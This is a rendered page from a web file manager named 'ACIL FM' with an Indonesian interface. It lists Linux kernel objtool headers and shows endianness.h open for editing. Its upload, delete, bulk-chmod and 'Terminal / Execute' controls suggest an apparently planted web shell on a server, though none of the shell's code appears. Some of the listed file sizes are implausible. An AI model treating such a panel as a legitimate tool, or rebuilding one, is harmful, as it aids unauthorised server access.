ACIL FM
Dark
Refresh
Current DIR:
/usr/src/kernels/5.14.0-427.31.1.el9_4.x86_64/tools/objtool/include/objtool
/
usr
src
kernels
5.14.0-427.31.1.el9_4.x86_64
tools
objtool
include
objtool
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
arch.h
1.86 MB
chmod
View
DL
Edit
Rename
Delete
builtin.h
849 B
chmod
View
DL
Edit
Rename
Delete
cfi.h
759 B
chmod
View
DL
Edit
Rename
Delete
check.h
2.62 MB
chmod
View
DL
Edit
Rename
Delete
elf.h
4.8 MB
chmod
View
DL
Edit
Rename
Delete
endianness.h
1.03 MB
chmod
View
DL
Edit
Rename
Delete
objtool.h
1.12 MB
chmod
View
DL
Edit
Rename
Delete
special.h
959 B
chmod
View
DL
Edit
Rename
Delete
warn.h
1.53 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /usr/src/kernels/5.14.0-427.31.1.el9_4.x86_64/tools/objtool/include/objtool/endianness.h
/* SPDX-License-Identifier: GPL-2.0-or-later */ #ifndef _OBJTOOL_ENDIANNESS_H #define _OBJTOOL_ENDIANNESS_H #include <arch/endianness.h> #include <linux/kernel.h> #include <endian.h> #ifndef __TARGET_BYTE_ORDER #error undefined arch __TARGET_BYTE_ORDER #endif #if __BYTE_ORDER != __TARGET_BYTE_ORDER #define __NEED_BSWAP 1 #else #define __NEED_BSWAP 0 #endif /* * Does a byte swap if target endianness doesn't match the host, i.e. cross * compilation for little endian on big endian and vice versa. * To be used for multi-byte values conversion, which are read from / about * to be written to a target native endianness ELF file. */ #define bswap_if_needed(val) \ ({ \ __typeof__(val) __ret; \ switch (sizeof(val)) { \ case 8: __ret = __NEED_BSWAP ? bswap_64(val) : (val); break; \ case 4: __ret = __NEED_BSWAP ? bswap_32(val) : (val); break; \ case 2: __ret = __NEED_BSWAP ? bswap_16(val) : (val); break; \ default: \ BUILD_BUG(); break; \ } \ __ret; \ }) #endif /* _OBJTOOL_ENDIANNESS_H */
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply